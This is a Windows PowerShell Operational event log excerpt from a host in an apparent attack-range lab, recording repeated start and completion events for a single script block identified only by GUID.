SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467492
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467491
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467490
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467489
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467488
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467487
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467486
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467485
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467484
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467483
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467482
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467481
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467480
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467479
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467478
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467477
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467476
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467475
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467474
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467473
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467472
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467471
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467470
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467469
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467468
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467467
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467466
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467465
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467464
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467463
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467462
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467461
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467460
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467459
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467458
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467457
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467456
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467455
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467454
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467453
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467452
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467451
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467450
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467449
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467448
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467447
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467446
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467445
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467444
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467443
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467442
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467441
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467706
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467705
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467704
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467703
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
